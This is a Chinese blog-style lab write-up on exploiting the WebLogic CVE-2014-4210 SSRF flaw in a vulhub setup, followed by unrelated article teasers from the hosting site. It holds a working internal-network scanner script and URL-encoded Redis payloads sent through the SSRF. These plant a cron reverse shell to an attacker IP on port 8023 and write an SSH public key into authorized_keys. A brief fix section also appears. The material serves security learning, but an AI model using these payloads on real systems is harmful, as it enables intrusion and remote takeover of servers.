weblogic CVE-2014-4210 SSRF漏洞

news2024/11/24 13:02:39

CVE-2014-4210 SSRF漏洞

Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中Redis、Fastcgi等脆弱组件

该漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp

SSRF:服务端请求伪造,伪造存在该漏洞的服务器对外发送请求,攻击者可以利用该漏洞对内网不对外开放的服务器进行攻击,如Redis和Fastjson

检测漏洞

①直接用weblogicscan扫描

②测试一下

漏洞修复

Weblogic SSRF 漏洞出现在 uddi 组件(所以安装Weblogic时如果没有选择 uddi 组件那么就不会有该漏洞),
更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。
所以修复的直接方法是将 SearchPublicRegistries.jsp 直接删除就好了

脚本

import requests
url ="http://xxx.xxx.xx.xxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp" #漏洞地址
ip="172.17.0"#内网网段
ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]#常见端口
for i in range(1,255):
    for port in ports:
        params = dict(
        rdoSearch = "name",
        txtSearchname = "sdf",
        selfor = "Business+location",
        btnSubmit = "Search",
        operator = "http://"+ip+".{}:{}".format(i,port))#构造operator
        try:
            r = requests.post(url, params=params, timeout = 3)#发起POST请求
            if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
                print('[*] http://'+ip+'.{}:{}'.format(i, port))
            else:
                pass
        except:
            pass

利用链——定时任务反弹shell

  1. 首先尝试是否可以不登陆进入/uddiexplorer.war/SearchPublicRegistries.jsp,并且随意输入一组数据search一下

    image-20230411114601986

    看到如上图红框所示,向该网址请求数据了,大概率存在SSRF漏洞

  2. 抓个包看看这个wwwxxxx是从哪来的

    image-20230411114931387

    如图,看到在请求时post传了个oerator,其中url编码了但是隐约可以看出来是www-3xxxx

    所以我们给他解码,然后用hackbar进行尝试

    operator=http://www-3.ibm.com/services/uddi/inquiryapi&rdoSearch=name&txtSearchname=22&txtSearchkey=22&txtSearchfor=22&selfor=Business+location&btnSubmit=Search

  3. 将operator的值改为http://127.0.0.1:7001

    image-20230411133110899

  4. 将operator的值改为http://127.0.0.1:7000

    image-20230411133220998

  5. 用上述3/4的方法可以判断weblogic服务器开启的端口

    此外,还可以进行存活主机探测,但需要提前搞到weblogic服务器所在网段,可以使用其他漏洞或信息收集搞到

    如果搞不到网段直接探测效率极低

    我的靶场部署到vps上,网段为172.17.0.x/24,且开启了一台redis服务器

    将operator的值改为http://172.17.0.1

    image-20230411133653789

  6. 再随便搞个不存在的主机http://172.17.0.12

    image-20230411133800006

  7. 接下来就是搞脚本批量扫了

    脚本前面写啦,直接运行

    image-20230411134257398

    可以看到已经扫出6379啦

  8. 由于一些问题后面的redis网段变了一下,但是是一样的

    用网页访问一下

    image-20230411220824432

    这就说明成了,可以尝试利用了

  9. 既然探测到6379(redis),就要想办法利用了

    redis可能存在未授权访问漏洞,同时redis默认是不对外开放的,意思就是说只有内网可以访问redis服务器,外网访问不到,这时候就体现出了SSRF请求伪造漏洞的作用

    就算redis服务器上一堆漏洞未修复,但是你访问不到,根本就不对外开放,你也没有任何办法,只能眼巴巴的瞅着

    这时候你发现了一个SSRF漏洞而且和redis是同内网的!

    我敲,这不聊次一下都说不过去

    简言之就是,SSRF可以以存在该漏洞的服务器的身份访问内网,相当于一个连通内网的跳板

    image-20230411140802018

  10. 接下来就是利用ssrf搞内网redis了

    ps:我的VPS出问题了,shell弹不出来不知道为啥,玄学问题,所以后面就直接用本地kali演示了,IP地址也发生了一些改变

    然后kali也出问题了,docker拉取的vulhub拉取的weblogic/ssrf 镜像,启动后只启动了weblogic,redis起不来,很怪异

    这玩意恶心了我两天,终于在今天解决了!

    ps:网上找不到类似的问题,很难受

    问题原因是因为高版本kali内核的问题好像

    先 vim/etc/default/grub

    image-20230413144236974

    如图修改值为"vsyscall=emulate"

    然后update-grub

    最后reboot

    重启后就可以开启redis的容器了,可喜可贺

    redis:172.19.0.2 端口6379

    weblogic:172.19.0.3 端口7001

    kali:192.168.27.137

    特意选了不同网段,模拟一下外网攻击内网机器

    破案了,应该是我VPS的NC有问题,接收不到shell,回来再修吧,继续实验

    payload:

    到这一步其实就和redis定时任务反弹shell一样了,因为某种原因redis未授权我还没上传想了解的可以搜搜大佬的

    先构造一手redis定时任务反弹shell的payload

    set x “\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n”

    config set dir /var/spool/cron

    config set dbfilename root

    save

    下一手就是通过ssrf执行了,需要url编码一下

    operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi

    &rdoSearch=name&txtSearchname=11&txtSearchkey=11&txtSearchfor=11&selfor=Business+location&btnSubmit=Search

    还记的这个不,这个是weblogic SSRF存在的漏洞点,我们需要利用operator这个参数

    重新构造一下operator

    operator=http://172.19.0.2:6379/text
    
    
    
    set x "\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n"
    
    config set dir /var/spool/cron
    
    config set dbfilename root
    
    save
    
    
    
    aaaa
    

    这里的/text是随便加的,然后需要url编码一下

    operator=http%3A%2F%2F127.0.0.1%3A6379%2Ftext%0D%0A%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20sh%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.27.137%2F8023%200%3E%261%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0A%0Aconfig%20set%20dbfilename%20root%0D%0A%0D%0Asave%0D%0A%0D%0Aaaa

    注:换行符是%0D%0A

    最后先开启监听8023端口,然后在burp中修改operator的值为payload,发包,等待漫长的一分钟

    image-20230413152409964

    成功getshell!

    可喜可贺可喜可贺!!!!!

写入ssh公钥反弹shell

这个就很简单了,只需要更改payload为写入公钥就行了

其实这里就是redis未授权了,就是用ssrf连一下redist而已

  1. 生成公钥

    kali中输入

    ssh-keygen -t rsa

    默认目录,密码为空(全直接回车即可)

    image-20230413152852891

  2. 查看公钥

    cat /root/.ssh/id_rsa.pub

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali

  3. 构造payload

    operator=http://172.19.0.2:6379/text
    
    
    
    set x "\n\n\n\n AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali \n\n\n\n"
    
    config set dir /root/.ssh
    
    config set dbfilename authorized_keys
    
    save
    
    
    
    aaaa
    
  4. 转url发送

    http%3A%2F%2F172.19.0.2%3A6379%2Ftext%0A%0A%0A%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn%20AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D%2FX%2BuapOcFw2%2FPuxfSet45fiWdnQQoI4WHVZBAhturHiM%2Ff9JNZgTmCO42jtPC%2BolHG6RA5JBolBtki3%2BsWUv%2F6LrTECrnueU%2BFqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr%2BzPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW%2BvPestFTkzQ%2FBHvGWdSmVoYq%2FDxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg%2BqJ9AneHwIn5EXYLrXlXBL%2BJRB9P0r5HzUQAjx0O8RWBUTE%2F%2BGGhuAs9SMZE9OunDdzaigxXUlmdh%2BXRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK%2FVXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud%2Be7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH%2BlvvkHWFMuW70XpBhJVkR9ank%3D%20root%40kali%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Froot%2F.ssh%0D%0A%0D%0Aconfig%20set%20dbfilename%20authorized_keys%0D%0A%0D%0Asave%0D%0A%0D%0A%0D%0A%0D%0Aaaaa

很可惜,vulhub中的redis镜像没有ssh,所以测不了,不过redis测过啦,跟反弹shell差不多应该没啥问题

这个实验搞的我身心俱疲,先是用的VPS搭建vulfocus,出现redis不回数据的问题,搞半天;然后直接VPS拉取vulhub的镜像出现连接不到反弹shell的问题(但是成功写入了,其实也算完成实验了),最后本地搞出来啦,结果没有ssh,猛男哭泣!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/555443.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring : XML配置 JavaBean源码解析

文章目录 前言一、xml 加载 Bean 对象总结XML加载Bean对象 前言 跟着大佬走!!!! https://github.com/DerekYRC/mini-spring 提示:以下是本篇文章正文内容,下面案例可供参考 一、xml 加载 Bean 对象 大家先…

企业型OV,增强型EV证书开通审核流程

选购 OV、EV型证书需要是企业用户,申请过程中需要提交企业资料。 选择证书品牌及型号 管理中心补全审核资料 下载“确认函”签字盖章并扫描,再上传。 审核部门联系确认企业信息,(过需要7-10个工作日) 审核通过&…

单商户高级版商城系统v2.3.0更新啦~

​likeshop单商户高级版商城系统更新至v2.3.0版本~主要更新内容如下: 新增 商品增加限购功能 小程序新版本更新提示 商品分类创建后可以显示该分类下有多少商品 积分商品列表新增封面图 商品支持批量移动分类 后台产品正版检测 优化 分销功能关闭时&#xff…

网络安全 2023 年为什么如此吃香?事实原来是这样....

前言 “没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 网络安全行业特点 1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万…

机器学习基础知识之预测性能评价指标

文章目录 预测性能评价思路1、均方误差(Mean Square Error,MSE)2、均方根误差(Root Mean Square Error,RMSE)3、平均绝对误差(Mean Absolute Error,MAE)4、平均绝对百分比…

多线程-线程创建方式1:继承Thread类

线程创建方式1:继承Thread类 概述 Java语言的JVM允许程序运行多个线程,使用java.lang.Thread类代表线程,所有的线程对象都必须是Thread类或其子类的实例。Thread类的特性 每个线程都是通过某个特定Thread对象的run()方法来完成操作的&#…

LeetCode:1049.最后一块石头的重量II 494.目标和 474.一和零

1049.最后一块石头的重量II 题目 有一堆石头&#xff0c;用整数数组 stones 表示。其中 stones[i] 表示第 i 块石头的重量。 每一回合&#xff0c;从中选出任意两块石头&#xff0c;然后将它们一起粉碎。假设石头的重量分别为 x 和 y&#xff0c;且 x < y。那么粉碎的可能…

pygam第5课——自制音乐播放器

前言&#xff1a;前几节课我们已经学会了很多知识点&#xff0c;欢迎大家可以去考古一下 今天我们将学习加载音乐&#xff0c;并且自制一个音乐播放器&#xff0c;界面功能包括&#xff1a; 加载背景封面上一首开始\暂停下一首重播随机播放快进 效果展示(GIF所以你们听不到声…

day6 广播及实现

什么是广播 数据包发送方式只有一个接受方&#xff0c;称为单播 如果同时发给局域网中的所有主机&#xff0c;称为广播 只有用户数据报(使用UDP协议)套接字才能广播 广播地址&#xff1a; 一个网络内主机号全为1的IP地址为广播地址 发到该地址的数据包被所有的主机接收 255…

MT6833(天玑 700)处理器参数_芯片规格_性能介绍

MT6833&#xff08;天玑700&#xff09;是一款出色的基带处理器&#xff0c;具有许多优秀的功能&#xff0c;并且采用了强大的八核CPU&#xff0c;其中包括两个主频高达2.2GHz的Arm Cortex-A76核心。此外&#xff0c;他还配备了LPDDR4X内存和UFS 2.2存储&#xff0c;大大提高了…

MyBatis中的#{}和${}有什么区别?

首先#{} 和 ${} 都是参数占位符&#xff0c;其中#{}是预编译处理&#xff0c;${}是字符直接进行替换。预编译处理是指&#xff1a;MyBatis 在处理#{}时&#xff0c;会将 SQL 中的 #{} 替换为?号&#xff0c;使⽤ PreparedStatement 的 set ⽅法来赋值。直接替换是指MyBatis 在…

【谷粒商城笔记】2. 创建项目与运行

1. 创建微服务项目 共分为下面五个 商品服务product 存储服务ware 订单服务order 优惠券服务coupon 用户服务member 1.1 新建github/gitee项目 首先去github新建项目 在IDEA中导入项目 从版本控制(Version Control)新建Project 选择路径和git链接 1.2 创建微服务 新建…

modscan模拟数据,nodred通过modbus协议向emqx创建规则引擎写入TDengine库

nodred通过modbus协议向emqx创建规则引擎写入TDengine库过程 一、emqx存储数据到TDEngine数据库1.1 进入emqx界面1.2 新建资源1.3 新建规则引擎1.4 测试 二、modscan模拟设备数据三、在Node-RED上模拟Modbus通讯3.1 nodeRed环境搭建3.2 nodeRed使用3.3 nodered读取modbus发送的…

Firewalld

目录 firewalld概述 firewalld 与 iptables 的区别 firewalld 区域的概念 firewalld防火墙预定义了9个区域 firewalld数据处理流程 firewalld检查数据包的源地址的规则 firewalld防火墙的配置方法 常用的firewall-cmd 命令选项 区域管理 服务管理 ​编辑端口管理 设…

创建项目执行计划的5个简单步骤

项目执行计划是定义项目将如何执行的文件。执行计划解释项目中涉及的战略目标和步骤&#xff0c;定义项目完成时间表&#xff0c;并列出成功项目所需的资源&#xff08;包括团队成员&#xff09;。 使用项目计划是多种项目管理最佳实践之一。这个过程并不像看起来那么复杂。按…

读财报丨产品收入增长近70%,百济神州已成功切换成长驱动模式?

5月12日&#xff0c;百济神州&#xff08;北京&#xff09;生物科技有限公司&#xff08;下称“百济神州”&#xff09;公布2023年第一季度业绩报告。从数据来看&#xff0c;延续了2022年的良好增长态势&#xff0c;实现营业收入30.66亿元&#xff0c;同比增长57%&#xff0c;而…

unity实现小球poke不穿膜

引言 在oculus quest2官方实现了手部指尖poke按键不穿膜&#xff0c;具体采用代码的方式进行限制&#xff0c;具体看oculus quest包中的HandPokeLimiterVisual.cs&#xff0c;下面则实现其他物体&#xff08;小球&#xff09;作为pokeInteractor来poke按键&#xff0c;当按下的…

Linux网络——shell编程之SNAT与DNAT的应用

Linux网络——shell编程之SNAT与DNAT的应用 一、SNAT的介绍1.SNAT概述2.SNAT源地址转换过程 二、SNAT转换三、DNAT的介绍1.DNAT概述2.DNAT转换前提条件 四、DNAT的转换五、防火墙规则的备份和还原六、tcpdump抓包工具的运用 一、SNAT的介绍 SNAT&#xff08;SNAT&#xff09;一…

蓝桥杯数论总结:最大公约数和最小公倍数(原理+性质证明+python板子)

目录 最大公约数 手写GCD 最小公倍数 推导LCM函数表达式 GCD基本性质 性质的证明 取模运算基本性质 证明 最大公约数 gcd是最大公约数的意思。Python的math库里有gcd函数。 在Python命令行运行gcd&#xff0c;可发现其可传入0、不会返回负数、可对多个数进行判断的性质…

利用 DynamoDB 和 S3 结合 gzip 压缩,最大化存储玩家数据

前言 一些传统游戏架构中&#xff0c;采用 MySQL 存储玩家存档数据&#xff0c;利用分库分表分散单库单表的存储和性能压力&#xff0c;从而达到支持更多玩家的目的。随着数据量增长&#xff0c;数据表中 varchar 类型已经无法满足游戏中单字段的存储需求&#xff0c;而 blob …